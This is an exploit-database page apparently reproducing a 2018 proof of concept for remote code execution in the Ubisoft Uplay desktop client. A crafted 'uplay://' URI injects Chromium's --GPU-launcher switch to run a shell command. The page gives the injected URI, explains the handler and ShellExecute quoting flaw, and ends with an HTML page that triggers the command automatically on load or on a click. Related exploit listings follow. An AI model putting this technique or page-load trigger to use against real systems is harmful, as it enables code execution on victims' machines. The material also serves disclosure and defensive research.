Menu

Search for hundreds of thousands of exploits

"Ubisoft Uplay Desktop Client 63.0.5699.0 - Remote Code Execution"

Author

Exploit author

"Che-Chun Kuo"

Platform

Exploit platform

windows

Release date

Exploit published date

2018-09-18

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
# Exploit Title: Ubisoft Uplay Desktop Client 63.0.5699.0 - Remote Code Execution
# Date: 2018-09-01
# Exploit Author: Che-Chun Kuo
# Vulnerability Type: URI Parsing Command Injection
# Vendor Homepage: https://www.ubisoft.com/en-us/
# Software Link: https://uplay.ubi.com/
# Version: 63.0.5699.0
# Tested on: Windows, Microsoft Edge
# Advisory: https://forums.ubi.com/showthread.php/1912340-Uplay-PC-Client-July-17th-2018
# CVE: N/A

# Vulnerability
# The Uplay desktop client does not properly validate user-controlled data passed to its custom 
# uplay URI protocol handler. This flaw can be used to exploit the Chromium Embedded Framework (CEF) 
# integrated within the Uplay client, allowing for arbitrary code execution.  

# Installing Uplay registers the following custom uplay protocol handler: 
# HKEY_CLASSES_ROOT
#	uplay
#		(Default) = "URL:uplay Protocol"
#		URL Protocol = ""
#			DefaultIcon
#				(Default) = "upc.exe"
#		Shell
#			Open
#			Command
#				(Default) = "C:\Program Files (x86)\Ubisoft\Ubisoft Game Launcher\upc.exe" "%1"

# The %1 will be replaced with arguments from the URI. The following crafted URI performs arbitrary code execution: 

	'uplay://foobar" --GPU-launcher="cmd /K whoami &" --'

# When a victim opens this URI, the string is passed to the Windows ShellExecute function. 
# Microsoft states the following: "When ShellExecute executes the pluggable protocol handler with a 
# string on the command line, any non-encoded spaces, quotes, and backslashes in the URI will 
# be interpreted as part of the command line. This means that if you use C/C++’s argc and 
# argv to determine the arguments passed to your application, the string may be broken 
# across multiple parameters."
	
# "Malicious parties could use additional quote or backslash characters to pass additional command 
# line parameters. For this reason, pluggable protocol handlers should assume that any parameters on 
# the command line could come from malicious parties, and carefully validate them."

# The Uplay desktop client does not properly validate user-controlled data. An attacker can inject 
# certain Chromium flags that allow for arbitrary code execution. The malicious URI breaks the 
# command line with a quote character and inserts a new switch called --GPU-launcher. Since the 
# Uplay client uses the Chromium Embedded Framework (CEF), Chromium command lines switches are supported.
# The --GPU-launcher switch provides a method to execute arbitrary commands. The following string shows 
# the final command, which opens the Windows command prompt and executes the whoami program. 
	
	"C:\Program Files (x86)\Ubisoft\Ubisoft Game Launcher\upc.exe" "foobar" --GPU-launcher="cmd /K whoami &" --"
	
# Attack Scenario
# The following attack scenario would result in the compromise of a victim's machine with the vulnerable 
# Uplay client installed. A user running Microsoft Edge visits a specially crafted webpage or clicks on a 
# specially crafted link. The user is served with the prompt: Did you mean to switch apps? Microsoft Edge 
# is trying to open "UPlay launcher". After the user gives consent, the vulnerable application runs, 
# resulting in arbitrary code execution in the context of the current process.

# This scenario also works on IE, but the IE browser shows the URI string to be opened and warns users against 
# opening untrusted content. Microsoft Edge provides no such warning. Chrome and Firefox both escape 
# illegal characters before passing the URI to the protocol handler.

# After Uplay desktop client (upc.exe) is run, upc.exe will attempt to open additional executables 
# before the --GPU-launcher is activated. One notable executable is the UplayService.exe. UplayService 
# requires elevated privileges. If the user is a non-administrative user a UAC prompt will appear. 
# It should be noted, this UAC prompt doesn't prevent command execution from occurring. 
# Regardless of which option the user chooses within the UplayService UAC prompt (Yes/No), 
# command execution will still occur once the code that passes the --GPU-launcher switch 
# to the CEF is triggered within upc.exe. 

# Proof of Concept
# The following POC provides two avenues to trigger the vulnerability within Microsoft Edge. 
# The first method triggers when the webpage is opened. The second method triggers when the 
# hyperlink is clicked by a user.

<!doctype html>
<a href='uplay://foobar" --GPU-launcher="cmd /K whoami &" --'>ubisoft uplay desktop client rce poc</a>

<script>
  window.location = 'uplay://foobar" --GPU-launcher="cmd /K whoami &" --'
</script>
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
2020-12-02 "PRTG Network Monitor 20.4.63.1412 - 'maps' Stored XSS" webapps windows "Amin Rawah"
2020-12-02 "Microsoft Windows - Win32k Elevation of Privilege" local windows nu11secur1ty
2020-12-01 "Global Registration Service 1.0.0.3 - 'GREGsvc.exe' Unquoted Service Path" local windows "Emmanuel Lujan"
2020-12-01 "Pearson Vue VTS 2.3.1911 Installer - VUEApplicationWrapper Unquoted Service Path" local windows Jok3r
2020-12-01 "Intel(r) Management and Security Application 5.2 - User Notification Service Unquoted Service Path" local windows "Metin Yunus Kandemir"
2020-12-01 "10-Strike Network Inventory Explorer 8.65 - Buffer Overflow (SEH)" local windows Sectechs
2020-12-01 "EPSON Status Monitor 3 'EPSON_PM_RPCV4_06' - Unquoted Service Path" local windows SamAlucard
2020-11-30 "YATinyWinFTP - Denial of Service (PoC)" remote windows strider
Release Date Title Type Platform Author
2018-09-18 "Ubisoft Uplay Desktop Client 63.0.5699.0 - Remote Code Execution" remote windows "Che-Chun Kuo"
2018-09-13 "Apache Syncope 2.0.7 - Remote Code Execution" webapps windows "Che-Chun Kuo"
2018-09-13 "Apache Portals Pluto 3.0.0 - Remote Code Execution" webapps windows "Che-Chun Kuo"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.